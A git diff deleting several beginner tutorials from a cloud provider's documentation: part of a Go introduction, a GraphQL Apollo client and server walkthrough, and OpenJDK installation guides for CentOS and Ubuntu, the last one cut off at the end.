['golang','go','command line arguments'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: GettingStartedwithGo.png -external_resources: -- '[The Go Programming Language Specification](https://golang.org/ref/spec)' -- '[Go](https://golang.org)' -- '[Effective Go](https://golang.org/doc/effective_go.html)' -- '[A Tour of Go](https://tour.golang.org/welcome/1)' -aliases: ['/development/go/beginners-guide-to-go/'] ---- - -## Introduction - -[Go](https://golang.com) is a modern, open source, and general-purpose programming language that began as an internal Google project and was officially announced at the end of 2009. Go was inspired by many other programming languages including C, Pascal, Alef, and Oberon. Its spiritual fathers were Robert Griesemer, Ken Thomson, and Rob Pike, who all designed Go as a language for professional programmers that want to build reliable, robust, and efficient software. Apart from its syntax and its standard functions, Go comes with a [rich standard library](#the-standard-go-library). - -In this guide you'll learn how to: - -- [Execute your first go program](#executing-go-code) -- Learn the syntax for [how variables are declared](#variable-declarations) -- See an example of [how to work with command line arguments](#working-with-command-line-arguments) by using the `os` package - -### The Advantages of Go - -Although Go is not perfect, it has many advantages, including the following: - -- It is a modern programming language that was made by experienced developers for developers. -- The code is easy to read. -- Go keeps concepts orthogonal, or simple, because a few orthogonal features work better than many overlapping ones. -- The compiler prints practical warnings and error messages that help you solve the actual problem. -- It has support for [procedural](https://en.wikipedia.org/wiki/Procedural_programming), [concurrent](https://en.wikipedia.org/wiki/Concurrent_computing), and [distributed programming](https://en.wikipedia.org/wiki/Distributed_computing). -- Go supports [garbage collection](https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)) so you do not have to deal with memory allocation and deallocation. -- Go can be used to build web applications and it provides a simple web server for testing purposes. -- The standard Go library offers many packages that simplify the work of the developer. -- It uses static linking by default, which means that the produced binary files can be easily transferred to other machines with the same OS and architecture. As a consequence, once a Go program is compiled successfully and the executable file is generated, the developer does not need to worry about dependencies and library versions. -- The code is portable, especially among UNIX machines. -- Go can be used for writing UNIX systems software. -- It supports Unicode by default, which means that you do not need any extra code for printing characters from multiple human languages or symbols. - -## Before You Begin - -{{% content "before-you-begin-install-go-shortguide" %}} - -{{< note >}} -This guide was written with Go version 1.13. -{{< /note >}} - -## Executing Go Code - -There are two kinds of Go programs: autonomous programs that are executable, and Go libraries. This section will describe how to format and run autonomous programs. - -### A Simple Go Program - -This is the Go version of the *Hello World* program: - -{{< file "helloworld.go" go >}} -package main - -import ( - "fmt" -) - -func main() { - fmt.Println("Hello World!") -} -{{< /file >}} - -* All Go code is delivered within Go packages. For executable programs, the package name should be `main`. Package declarations begin with the `package` keyword. - -* Executable programs should have a function named `main()` without any function parameters. You cannot have multiple `main()` functions in the files of a single project. Function definitions begin with the `func` keyword. - - {{< note respectIndent=false >}} -For more information on how functions in Go are formatted and used, review our [Go Functions, Loops, and Errors](/cloud/guides/learning-go-functions-loops-and-errors-a-tutorial/) tutorial. -{{< /note >}} - -* Go packages might include `import` statements for importing other Go packages. However, Go demands that you use some functionality from each one of the packages that you import. There is a way to bypass this rule, however, it is considered a bad practice to do this. - - The `helloworld.go` file above imports the `fmt` package and uses the `fmt.Println()` function from that package. - - {{< note respectIndent=false >}} -All exported package functions begin with an uppercase letter. This follows the Go rule: if you export something outside the current package, it should begin with an uppercase letter. This rule applies even if the field of the Go structure or the global variable is included in a Go package. - -For example, if the print function used in the above example was instead named `println()`, it would not be accessible to this program. -{{< /note >}} - -* Go statements do not *need* to end with a semicolon, as the Go compiler will automatically insert semicolons where they are expected. You are free to use semicolons if you wish. For example, if you want to put two separate statements on a single line, a semicolon is needed between them. - -* Go has specific rules for [how opening curly braces are formatted](#formatting-curly-braces). - -### Running the Program - -1. Now that you better understand the `helloworld.go` program, execute it with the `go run` command: - - go run helloworld.go - - You will see the following output: -{{< output >}} -Hello World! -{{< /output >}} - - This is the simplest of two ways that you can execute Go code. The `go run` command compiles the code and creates a temporary executable file that is automatically executed, and then it deletes that temporary executable file. This is similar to using a scripting programming language. - -1. The second method to execute Go code is to use the `build` command. Run the following command to use this method: - - go build helloworld.go - - The result of that command is a binary executable file that you have to manually execute. This method is similar to the way you execute C code on a UNIX machine. The executable file is named after the Go source filename, which means that in this case the result will be an executable file named `helloworld`. Go creates *statically linked executable files* that have no dependencies to external libraries. - -1. Execute the `helloworld` file: - - ./helloworld - - You will see the following output: -{{< output >}} -Hello World! -{{< /output >}} - - {{< note respectIndent=false >}} -The `go run` command is usually used while experimenting and developing new Go projects. However, if you need to transfer an executable file to another system with the same architecture, you should use `go build`. - {{< /note >}} - -### Formatting Curly Braces - -The following version of the "Hello World" program will not compile: - -{{< file "curly.go" go >}} -package main - -import ( - "fmt" -) - -func main() -{ - fmt.Println("Hello World!") -} -{{< /file >}} - -If you execute the program above, the following error message is generated by the compiler: - - go run curly.go - -{{< output >}} -# command-line-arguments -./curly.go:7:6: missing function body -./curly.go:8:1: syntax error: unexpected semicolon or newline before { -{{< /output >}} - -* This error message is generated because Go requires the use of semicolons as statement terminators in many contexts, and the compiler automatically inserts the required semicolons when it thinks that they are necessary. Putting the opening curly brace (`{`) on its own line makes the Go compiler look for a semicolon at the end of the previous line (`func main()`), which is the cause of the error message. - -* There is only one way to format curly braces in Go: **the opening curly brace must not appear on its own line**. Additionally, you must use curly braces even if a code block contains a single Go statement, like in the body of a `for` loop. You can see an example of this in the [first version of the `helloworld.go`](#a-simple-go-program) program. - -## Variable Declarations - -Go supports assignment (`=`) operators and short variable declarations (`:=`), demonstrated in this example: - -{{< file "variables.go" go >}} -package main - -import ( - "fmt" -) - -func main() { - myFirstVariable := 10 - myFirstVariable = 5 - var mySecondVariable int = 10 - - fmt.Println(myFirstVariable) - fmt.Println(mySecondVariable) -} -{{< /file >}} - -* With `:=` you can declare a variable and assign a value to it at the same time, without also listing the type of the variable. The type of the variable is *inferred* from the given value. - -* You can use `=` in two cases: - - - To assign a new value to an existing variable - - - To declare a new variable, provided that you also specify its type. - - For example, `myFirstVariable := 10` and `var mySecondVariable int = 10` will both create variables of type `int` with the value `10`. - -* When you specifically want to control a variable's type, it is safer to declare the variable and its type using `var` and then assign a value to it using `=`. - -### Naming Conventions - -The common naming convention for variables in Go is [camel case](https://en.wikipedia.org/wiki/Camel_case) (though it is not required by the compiler), e.g.: `myVariableName`. - -Every variable whose name begins with a capital letter is exported from the package that it belongs to, e.g.: `MyExportedVariableName`. This style is enforced by the compiler. - -### Uninitialized Variables - -Variables that are declared and not assigned a value will have the *zero value* for its type. For example, this program shows that the zero value for an int is `0`: - -{{< file "uninitialized.go" go >}} -package main - -import ( - "fmt" -) - -func main() { - var aVariable int - fmt.Println(aVariable) -} -{{< /file >}} - -The output from this program is: - - go run uninitialized.go - -{{< output >}} -0 -{{< /output >}} -{{< note >}} -The zero value for a string variable is an empty string. -{{< /note >}} - -### Value Semantics - -If a new variable is declared by assigning another variable to it, then the new variable will be a copy of the first variable. This means that changing the value of either of these variables will not affect the other, as illustrated in this example: - -{{< file "values.go" go >}} -package main - -import ( - "fmt" -) - -func main() { - myFirstVariable := 10 - mySecondVariable := myFirstVariable - myFirstVariable = 5 - fmt.Println(myFirstVariable) - fmt.Println(mySecondVariable) -} -{{< /file >}} - -The output from this program is: - - go run values.go - -{{< output >}} -5 -10 -{{< /output >}} - -If you want to manipulate the value of an existing variable, you can use [pointers](https://tour.golang.org/moretypes/1) instead. - -## Working with Command Line Arguments - -This section will illustrate how you can work with command line arguments in Go. The presented program finds out the minimum and the maximum integer of the given command line arguments. - -{{< file "cla.go" go >}} -package main - -import ( - "fmt" - "os" - "strconv" -) - -func main() { - if len(os.Args) == 1 { - fmt.Println("Please give one or more integers.") - return - } - - var min, max int - - arguments := os.Args - temp, err := strconv.Atoi(arguments[1]) - if err != nil { - fmt.Println("Error encountered, exiting:") - fmt.Println(err) - return - } else { - min = temp - max = temp - } - - for i := 2; i < len(arguments); i++ { - n, err := strconv.Atoi(arguments[i]) - if err != nil { - fmt.Println("Error encountered, exiting:") - fmt.Println(err) - return - } - - if n < min { - min = n - } - if n > max { - max = n - } - } - - fmt.Println("Min:", min) - fmt.Println("Max:", max) -} -{{< /file >}} - -If you need to work with the command line arguments of a Go program you will need to import the `os` package. All command line arguments are kept in the `os.Args` slice, which you will have to process on your own. As it also happens with C, the first element of `os.Args` is the name of the executable, which in this case should not be processed. The `len()` function, used on line 10, returns the length of a slice or an array. - -If the first command line argument of the program is a valid integer, then both `min` and `max` are initialized to its value in lines 18-26. Otherwise, the script will exit. Afterwards, the script iterates through any remaining arguments in lines 28-42. This loop compares the remaining arguments' values to the previous values found and updates `min` and `max` accordingly. - -The output of `cla.go` will resemble the following: - - go run cla.go -1 2 3 - -{{< output >}} -Min: -1 -Max: 3 -{{< /output >}} - -## Next Steps - -The next guide in our Go language series is our [Go Functions, Loops, and Errors](/cloud/guides/learning-go-functions-loops-and-errors-a-tutorial/) tutorial. More advanced guides are listed in the [Go section index](/cloud/guides/development/go/). - -### The Standard Go Library - -In addition to reading through our guides, you might also want to review Go's rich, well-tested and handy standard library. The list of the most important Go packages includes the following: - -| Package name | Description | -|--------------|-------------| -| `io` | Used for performing primitive I/O operations. | -| `bufio` | Used for executing buffered I/O. | -| `os` | The package offers a **platform-independent** interface to OS functionality. | -| `os/signal` | Used for working with OS signals. | -| `net` | The package provides a portable interface for network I/O. | -| `net/http` | The package offers HTTP client and server implementations. | -| `errors` | Used for manipulating errors. | -| `flag` | Used for working with command line arguments and flags. | -| `log` | Used for logging. | -| `log/syslog` | Used for communicating with the system log service. | -| `math` | Provides mathematical constants and functions. | -| `strconv` | Used for converting strings to other basic Go data types and vice versa. | -| `strings` | Used for manipulating Unicode strings. | -| `sync` | This package offers basic synchronization primitives. Mainly used in concurrent programming. | -| `testing` | Used for creating automated testing of Go packages. | -| `time` | This package offers functions for working with time. | - -You can find the full list of the packages of the Go standard library [here](https://golang.org/pkg/). diff --git a/docs/guides/development/graphql/graphql-apollo-an-introduction/index.md b/docs/guides/development/graphql/graphql-apollo-an-introduction/index.md deleted file mode 100644 index dc9d1276f11..00000000000 --- a/docs/guides/development/graphql/graphql-apollo-an-introduction/index.md +++ /dev/null @@ -1,242 +0,0 @@ ---- -slug: graphql-apollo-an-introduction -title: "GraphQL Apollo: An Introduction with Examples" -title_meta: "An Introduction to GraphQL Apollo" -description: 'In this guide, you will learn what GraphQL is and how to use the Apollo GraphQL client to manage local and remote data from your command line in Linux.' -authors: ["Cameron Laird"] -contributors: ["Cameron Laird"] -published: 2021-09-03 -keywords: ['what is apollo graphql', 'apollo graphql client', 'apollo graphql server'] -tags: ['web applications'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[GraphQL](https://graphql.org/)' -- '[Apollo](https://www.apollographql.com/)' -- '[Apollo GraphQL documentation](https://www.apollographql.com/docs/)' ---- - -GraphQL is a server-side runtime and query language for APIs. Known for its speed, GraphQL is ideal for limited-bandwidth edge devices, and applications that benefit from GraphQL's bandwidth-saving query format. Compared to representational state transfer (REST), GraphQL lets you retrieve all the data you need in a single query. GraphQL began as an internal project at Facebook in 2012. After a public release in 2015, the [GraphQL Foundation](https://graphql.org/foundation/) was created in 2018 to provide a permanent home for GraphQL. - -The example below displays a basic GraphQL query. The query retrieves data from specific fields on the example `realtor` object: - -{{< output >}} -{ - realtor { - name - } -} -{{< /output >}} - -The result of the query returns the following JSON output: - -{{< output >}} -{ - "data": { - "realtor": { - "name": "Terry Musa" - } - } -} -{{< /output >}} - -## What is Apollo GraphQL? - -As a public specification, there are several GraphQL implementations. [Apollo](https://www.apollographql.com/) maintains the most prominent of these implementations. Apollo GraphQL is the collection of implementations the Apollo company bases on the GraphQL standard. Apollo’s implementation is largely [open-source](https://www.apollographql.com/docs/apollo-server/). In addition to its open-source products, Apollo offers specialized paid services that bring value to large-scale applications of GraphQL. - -## What is the Apollo GraphQL Client? - -In the GraphQL model, data is sent between a *client* and *server*. The client issues a request to the server, and the server answers the client’s request. The Apollo client is a JavaScript state management library that helps you fetch data and manipulate the data using concise syntax and development best practices. It is possible to use the Apollo GraphQL client with any GraphQL server; the latter doesn't have to be from Apollo. - -## Apollo GraphQL vs REST - -[Representational state transfer](https://searchapparchitecture.techtarget.com/definition/REST-REpresentational-State-Transfer) (REST) is still widely used and has [advantages over GraphQL](https://blog.logrocket.com/why-you-shouldnt-use-graphql/#whyandwhentousegraphql). - -Some of the advantages of REST include: - -- Community maturity. REST has been around since 2000. There are many resources supporting its usage and many experienced developers who are able to work with REST. -- Data format support. REST supports many types of data formats including CSV, HTML, JSON, and XML. -- Decoupled client and server implementations. When using REST, a client does not require any specialized libraries to query the server data. - -Some of the advantages of GraphQL include: - -- Prevents over fetching of data. You can retrieve all the data you need in a single query. -- Schema versioning is not required. Instead of versioning, GraphQL utilizes a schema registry to track an API's evolution. -- An extensive ecosystem of libraries. There are many libraries available to extend GraphQL's behavior. - -To become more familiar with GraphQL's capabilities refer to the [Apollo blog's post on the benefits of GraphQL](https://www.apollographql.com/blog/graphql/basics/why-use-graphql/). - -### Apollo GraphQL Client Example - -The example in this section queries an open [GraphQL service](https://api.spacex.land/graphql/) that [SpaceX](https://www.spacex.com/) provides. Before beginning the steps in this section, ensure you have [installed Node.js using the Node Version Manager](/cloud/guides/how-to-install-nodejs-and-nginx-on-ubuntu-18-04/#install-nodejs). - -From your system's command line, install the GraphQL client: - - npm install graphql @apollo/client cross-fetch -{{< note >}} -Your system may require [ECMAScript module (esm) loader](https://www.npmjs.com/package/esm). To install esm, use the following command: - - sudo npm install --save esm -{{< /note >}} - -The installation should take a few seconds to complete. - -Create a new file named `client-example.js` with the following content: - -{{< file "client-example.js" >}} -// cross-fetch helps ensure correct behavior independent of the environment -// needs the HttpLink. -import fetch from 'cross-fetch'; -const fetch = require('cross-fetch'); -import { - ApolloClient, gql, HttpLink, InMemoryCache -} from "@apollo/client"; - -const cache = new InMemoryCache() -const uri = 'https://api.spacex.land/graphql/'; -const query = gql` - query { - launchesPast(limit: 10) { - mission_name - } - }` -const link = new HttpLink({uri: uri, fetch}); -const client = new ApolloClient({link: link, cache: cache}); - -client - .query({query: query}) - .then(result => console.log(JSON.stringify(result))); -{{< /file >}} - -This code imports the necessary libraries to then query the SpaceX API. The query expects a JSON response from the API. - -Run the `client-example.js` file with the following command: - - node -r esm client-example.js - -You should see a similar JSON output returned: - -{{< output >}} -{"data":{"launchesPast":[{"__typename":"Launch","mission_name":"Starlink-15 (v1.0)"},{"__typename":"Launch","mission_name":"Sentinel-6 Michael Freilich"},{"__typename":"Launch","mission_name":"Crew-1"},{"__typename":"Launch","mission_name":"GPS III SV04 (Sacagawea)"},{"__typename":"Launch","mission_name":"Starlink-14 (v1.0)"},{"__typename":"Launch","mission_name":"Starlink-13 (v1.0)"},{"__typename":"Launch","mission_name":"Starlink-12 (v1.0)"},{"__typename":"Launch","mission_name":"Starlink-11 (v1.0)"},{"__typename":"Launch","mission_name":"SAOCOM 1B, GNOMES-1, Tyvak-0172"},{"__typename":"Launch","mission_name":"Starlink-10 (v1.0) & SkySat 19-21"}]},"loading":false,"networkStatus":7} -{{< /output >}} - -Using your preferred JavaScript framework, you can update the code to request more data from the API and to render the data in a browser. - -## Apollo GraphQL Server - -Several implementations of a [GraphQL server](https://blog.graphqleditor.com/graphql-servers) are available to use. Apollo is a good choice given its robust documentation and potential for longevity. Several well-known companies use Apollo for their projects, including Airbnb, the New York Times, and CircleCI. - -### Server Installation Steps - -Before beginning the steps in this section, ensure you have [installed Node.js using the Node Version Manager](/cloud/guides/how-to-install-nodejs-and-nginx-on-ubuntu-18-04/#install-nodejs) on your server. - -To install the Apollo GraphQL server use the following command: - - npm install apollo-server-express express graphql - -Create a new filled named `hello-server.js` and add the following content: - -{{< file "hello-server.js" >}} -var {graphql, buildSchema} = require('graphql'); - -var schema = buildSchema(` - type Query { - hello: String - } -`); - -var root = {hello: () => 'Hello, world!'}; - -graphql(schema, '{ hello }', root) - .then((response) => { - console.log(response); -}); -{{< /file >}} - -Run the above example file using the following command - - node hello-server.js - -You should see a similar output: - -{{< output >}} -{ data: { hello: 'Hello, world!' } } -{{< /output >}} - -The example demonstrates a GraphQL server response. The next step in server behavior is to embed this responsiveness into a web API. To do this, update the `server-example.js` with the following content: - -{{< file "server-example.js" >}} -const express = require('express'); -const {ApolloServer, gql} = require('apollo-server-express'); - -const typeDefs = gql` - type Query { - hello: String - }`; -const resolvers = { - Query: { - hello: () => 'Hello, world!', - }, -}; - -async function startApolloServer() { - const app = express(); - const server = new ApolloServer({ typeDefs, resolvers }); - const message = 'Please browse to ' + server.graphqlPath; - - //You must "await server.start()" before calling "server.applyMiddleware()" - //"await" can only be used inside an async() fun - await server.start(); - server.applyMiddleware({ app }); - - app.listen({ port: 4003 }, () => - console.log(message) - ); -} - -startApolloServer(); - -{{< /file >}} - -The code above defines the GraphQL schema, creates a resolver, and creates an instance of the Apollo server that is served on the localhost. - -Run the code in the example file with the following command: - - node server-example.js - -The output returns the following: - -{{< output >}} -Please browse to -{{< /output >}} -{{< note >}} -To visit the application remotely, you can use an SSH tunnel: - -- On macOS or Linux, use the command below to set up the SSH tunnel. Replace `example-user` with your username on the application server and `192.0.2.0` with the server's IP address. - - ssh -L 4000:localhost:4000 example-user@192.0.2.0 - -Now you can visit the application in your browser by navigating to `https://localhost:4000`. -{{< /note >}} - -If you visit `http://localhost:4000/graphql` in a browser, you see an empty instance of a playground Integrated Development Environment (IDE). Enter the following query in the left window of the playground IDE. - - query {hello} - -Push the central play button with the right-pointing arrow icon. You can see the following output pop up on the right. - -{{< output >}} -{ - "data": { - "hello": "Hello, world!" - } -} -{{< /output >}} - -This section's example provides a simple model for creating a GraphQL service. - -## Conclusion - -Apollo GraphQL is a powerful platform that can take some time investment to learn to use. You can leverage free web tools to experiment and to model your GraphQL data. For example, use the [GraphQL IDE](https://github.com/graphql/graphiql) and the [Sandbox Explorer](https://studio.apollographql.com/sandbox/explorer) to test your ideas. The GraphQL Foundation maintains a page on [best practices](https://graphql.org/learn/best-practices/) that you can visit to learn more about the specification. - - - diff --git a/docs/guides/development/java/how-to-install-openjdk-on-centos-8/index.md b/docs/guides/development/java/how-to-install-openjdk-on-centos-8/index.md deleted file mode 100644 index 510d5651c69..00000000000 --- a/docs/guides/development/java/how-to-install-openjdk-on-centos-8/index.md +++ /dev/null @@ -1,146 +0,0 @@ ---- -slug: how-to-install-openjdk-on-centos-8 -title: Installing Java Development Kit 11 on CentOS 8 -title_meta: How To Install Java Development Kit 11 on CentOS 8 -description: 'This guide will show you how to install the free and open-source Open Java Development Kit (OpenJDK) version of the Java Runtime Environment (JRE) on CentOS 8.' -authors: ["Rajakavitha Kodhandapani"] -contributors: ["Rajakavitha Kodhandapani"] -published: 2020-03-25 -keywords: ["java", "openjdk", "jdk", "11", "CentOS", "8"] -tags: ["java","centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Installing_Java_Development_Kit_11_on_CentOS8_1200x631.png -audiences: ["beginner"] -languages: ["java"] -relations: - platform: - key: install-openjdk - keywords: - - distribution: Ubuntu 16.04 -aliases: ['/development/java/how-to-install-openjdk-on-centos-8/'] ---- - -[Java](https://www.oracle.com/java/index.html) is one of the world's most popular programming languages. Software written in Java can be compiled and run on any system, making Java a versatile platform that can be used to create anything from software to basic web applications. This guide will show you how to install the Open Java Development Kit (OpenJDK) 11 on CentOS 8. - -OpenJDK is the free and open-source implementation of the Oracle Java Standard Edition (Java SE) Development Kit. OpenJDK and Java SE are equivalent JDKs that include a Java runtime environment (JRE) and tools for developing and compiling Java applications. - -While there are many available versions of OpenJDK, version 11 is the latest Long-Term-Support (LTS) release as of the time of this guide's publication. For this reason, OpenJDK 11 is the recommended version for developing production applications. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for connecting to your Linode with SSH and setting your Linode's hostname and timezone. - -1. Complete the sections of our guide on [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) to create a standard user account, harden SSH access and remove unnecessary network services. This guide will use `sudo` commands wherever possible, which should be run by a limited, non-root user on your Linode. - -1. Ensure your system is up-to-date: - - sudo yum update - -## Install OpenJDK - -1. Install the OpenJDK 11 development kit, which includes OpenJRE 11: - - sudo yum install java-11-openjdk-devel - - Alternatively, if you simply want to run Java applications that you have already downloaded, you can choose to only install OpenJRE 11: - - sudo yum install java-11-openjdk - - {{< note respectIndent=false >}} -While you can run Java applications directly with the JRE, your applications will be compiled every time they are executed. This is generally slower than running applications that have already been compiled into Java bytecode, and may not be suitable if you plan to execute applications many times. -{{< /note >}} - -1. Check the version of the JRE to verify that it has been properly installed: - - java -version - - As of the time of this publication, this command should return: - - {{< output >}} -openjdk version "11.0.7" 2020-04-14 LTS -OpenJDK Runtime Environment 18.9 (build 11.0.7+10-LTS) -OpenJDK 64-Bit Server VM 18.9 (build 11.0.7+10-LTS, mixed mode, sharing) -{{< /output >}} - -1. If you have chosen to install the full OpenJDK development kit, check the version of the compiler as well: - - javac -version - - As of the time of this publication, this command should return: - - {{< output >}} -javac 11.0.7 -{{< /output >}} - -## Set Environment Variables - -This section will instruct you on how to set the `JAVA_HOME` and `PATH` environment variables to help ensure that your Java applications will run without issue. - -1. Open the `~/.bashrc` startup file using the text editor of your choice and add the following definitions at the end of the file: - - {{< file "~/.bashrc" sh>}} -# [...] -export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java)))) -export PATH=$PATH:$JAVA_HOME/bin -{{< /file >}} - - {{< note respectIndent=false >}} -If you are using a shell other than Bash, such as [Zsh](https://github.com/ohmyzsh/ohmyzsh), you may need to add these lines in a different startup file instead. In the case of Zsh, this would be the `~/.zshrc` file. -{{< /note >}} - -1. Save the changes and exit your text editor. - -1. Reload the `~/.bashrc` file: - - source ~/.bashrc - -1. Verify that the JAVA_HOME and PATH variables were set correctly: - - echo $JAVA_HOME - echo $PATH - - The `JAVA_HOME` variable should be set to the directory that contains your OpenJDK installation, and the `PATH` variable should include the directory that contains the OpenJDK binary files. - -## Test the Java Installation (Optional) - -To test your Java installation, write a sample `HelloWorld` Java application and run it with the JRE. - -1. Open a text editor and add the following lines in a file labeled `HelloWorld.java` to create a simple function that prints "Hello Java World!": - - {{< file "HelloWorld.java" java >}} -public class HelloWorld { - public static void main(String[] args) { - System.out.println("Hello Java World!"); - } -} -{{< /file >}} - -1. Run the application using the JRE: - - java HelloWorld.java - - If the installation has been successful, the output will be: - - {{< output >}} -Hello Java World! -{{< /output >}} - -If you have installed the full OpenJDK development kit, you can compile your application into a bytecode class file prior to running it for faster execution time. - -1. Compile the application you have written: - - javac HelloWorld.java - -1. Confirm that the `HelloWorld.class` file was written to your current directory: - - ls -l HelloWorld.class - -1. Run the compiled `HelloWorld` function using the JRE: - - java HelloWorld - - The output should again be: - - {{< output >}} -Hello Java World! -{{< /output >}} diff --git a/docs/guides/development/java/how-to-install-openjdk-on-ubuntu-18-04/index.md b/docs/guides/development/java/how-to-install-openjdk-on-ubuntu-18-04/index.md deleted file mode 100644 index dd418778cec..00000000000 --- a/docs/guides/development/java/how-to-install-openjdk-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,147 +0,0 @@ ---- -slug: how-to-install-openjdk-on-ubuntu-18-04 -title: "Installing OpenJDK 11 (Java Development Kit) on Ubuntu 18.04" -title_meta: "Install OpenJDK 11 (Java Development Kit) on Ubuntu 18.04" -description: 'This guide will show you how to install the Open Java Development Kit (OpenJDK) 11 on Ubuntu 18.04 & test it. ✓ Click here to read our guide today!' -og_description: 'This guide will show you how to install the Open Java Development Kit (OpenJDK) 11 on Ubuntu 18.04 and test it by through a simple "Hello World" application.' -authors: ["Rajakavitha Kodhandapani"] -contributors: ["Rajakavitha Kodhandapani"] -published: 2020-03-25 -keywords: ["java", "openjdk", "jdk", "11", "Ubuntu", "18.04"] -aliases: ['/development/java/how-to-install-openjdk-on-ubuntu-18-04/','/development/java/install-java-on-ubuntu-18-04/'] -tags: ["java","ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Installing_Java_Development_Kit_11_on_Ubuntu1804_1200x631.png -audiences: ["beginner"] -languages: ["java"] -relations: - platform: - key: install-openjdk - keywords: - - distribution: Ubuntu 18.04 ---- - -[Java](https://www.oracle.com/java/index.html) is one of the world's most popular programming languages. Software written in Java can be compiled and run on any system, making Java a versatile platform that can be used to create anything from software to basic web applications. This guide will show you how to install the Open Java Development Kit (OpenJDK) 11 on Ubuntu 18.04. - -OpenJDK is the free and open-source implementation of the Oracle Java Standard Edition (Java SE) Development Kit. OpenJDK and Java SE are equivalent JDKs that include a Java runtime environment (JRE) and tools for developing and compiling Java applications. - -While there are many available versions of OpenJDK, version 11 is the latest Long-Term-Support (LTS) release as of the time of this guide's publication. For this reason, OpenJDK 11 is the recommended version for developing production applications. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for connecting to your Linode with SSH and setting your Linode's hostname and timezone. - -1. Complete the sections of our guide on [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) to create a standard user account, harden SSH access and remove unnecessary network services. This guide will use `sudo` commands wherever possible, which should be run by a limited, non-root user on your Linode. - -1. Ensure your system is up-to-date: - - sudo apt-get update && sudo apt-get upgrade - -## Install OpenJDK - -1. Install the OpenJDK 11 development kit, which includes OpenJRE 11: - - sudo apt-get install openjdk-11-jdk - - Alternatively, if you simply want to run Java applications that you have already downloaded, you can choose to only install OpenJRE 11: - - sudo apt-get install openjdk-11-jre - - {{< note respectIndent=false >}} -While you can run Java applications directly with the JRE, your applications will be compiled every time they are executed. This is generally slower than running applications that have already been compiled into Java bytecode, and may not be suitable if you plan to execute applications many times. -{{< /note >}} - -1. Check the version of the JRE to verify that it has been properly installed: - - java -version - - As of the time of this publication, this command should return: - - {{< output >}} -openjdk version "11.0.7" 2020-04-14 LTS -OpenJDK Runtime Environment 18.9 (build 11.0.7+10-LTS) -OpenJDK 64-Bit Server VM 18.9 (build 11.0.7+10-LTS, mixed mode, sharing) -{{< /output >}} - -1. If you have chosen to install the full OpenJDK development kit, check the version of the compiler as well: - - javac -version - - As of the time of this publication, this command should return: - - {{< output >}} -javac 11.0.7 -{{< /output >}} - -## Set Environment Variables - -This section will instruct you on how to set the `JAVA_HOME` and `PATH` environment variables to help ensure that your Java applications will run without issue. - -1. Open the `~/.bashrc` startup file using the text editor of your choice and add the following definitions at the end of the file: - - {{< file "~/.bashrc" sh>}} -# [...] -export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java)))) -export PATH=$PATH:$JAVA_HOME/bin -{{< /file >}} - - {{< note respectIndent=false >}} -If you are using a shell other than Bash, such as [Zsh](https://github.com/ohmyzsh/ohmyzsh), you may need to add these lines in a different startup file instead. In the case of Zsh, this would be the `~/.zshrc` file. -{{< /note >}} - -1. Save the changes and exit your text editor. - -1. Reload the `~/.bashrc` file: - - source ~/.bashrc - -1. Verify that the JAVA_HOME and PATH variables were set correctly: - - echo $JAVA_HOME - echo $PATH - - The `JAVA_HOME` variable should be set to the directory that contains your OpenJDK installation, and the `PATH` variable should include the directory that contains the OpenJDK binary files. - -## Test the Java Installation (Optional) - -To test your Java installation, write a sample `HelloWorld` Java application and run it with the JRE. - -1. Open a text editor and add the following lines in a file labeled `HelloWorld.java` to create a simple function that prints "Hello Java World!": - - {{< file "HelloWorld.java" java >}} -public class HelloWorld { - public static void main(String[] args) { - System.out.println("Hello Java World!"); - } -} -{{< /file >}} - -1. Run the application using the JRE: - - java HelloWorld.java - - If the installation has been successful, the output will be: - - {{< output >}} -Hello Java World! -{{< /output >}} - -If you have installed the full OpenJDK development kit, you can compile your application into a bytecode class file prior to running it for faster execution time. - -1. Compile the application you have written: - - javac HelloWorld.java - -1. Confirm that the `HelloWorld.class` file was written to your current directory: - - ls -l HelloWorld.class - -1. Run the compiled `HelloWorld` function using the JRE: - - java HelloWorld - - The output should again be: - - {{< output >}} -Hello Java World! -{{< /output >}} diff --git a/docs/guides/development/java/install-java-on-centos/index.md b/docs/guides/development/java/install-java-on-centos/index.md deleted file mode 100644 index af1259dce5e..00000000000 --- a/docs/guides/development/java/install-java-on-centos/index.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -slug: install-java-on-centos -title: Install Java on CentOS 7 -description: 'This guide shows how to install the OpenJDK 8 runtime environment to support Java app execution and development on a Linode running CentOS 7.' -authors: ["Angel Guarisma"] -contributors: ["Angel Guarisma"] -published: 2017-06-01 -modified: 2017-06-01 -keywords: ["CentOS", "install Java", "CENTOS", "Java JRE", "Java JDK"] -tags: ["java","centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/development/installing-java-on-centos/','/development/install-java-on-centos/','/development/java/install-java-on-centos/'] -external_resources: -- '[Fedora Wiki Java Entry](https://fedoraproject.org/wiki/Java)' -audiences: ["beginner"] -languages: ["java"] -relations: - platform: - key: install-java - keywords: - - distribution: CentOS 7 ---- - -![Install Java on CentOS 7](install-java-on-centos-7-title-graphic.jpg "Install Java on CentOS 7") - -Java is a powerful programming language. Software written in Java can compile and run on any system. Unlike Python or C, Java does not come pre-installed on Linode distribution images. This guide installs the OpenJDK 8 runtime environment and development kit in CentOS 7. OpenJDK is the free and open-source implementation of the Java SE Development Kit. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -2. This guide will use `sudo` wherever possible. - -3. Update your system: - - sudo yum update - -## Install Java Runtime Environment (Java JRE) - -If you don't 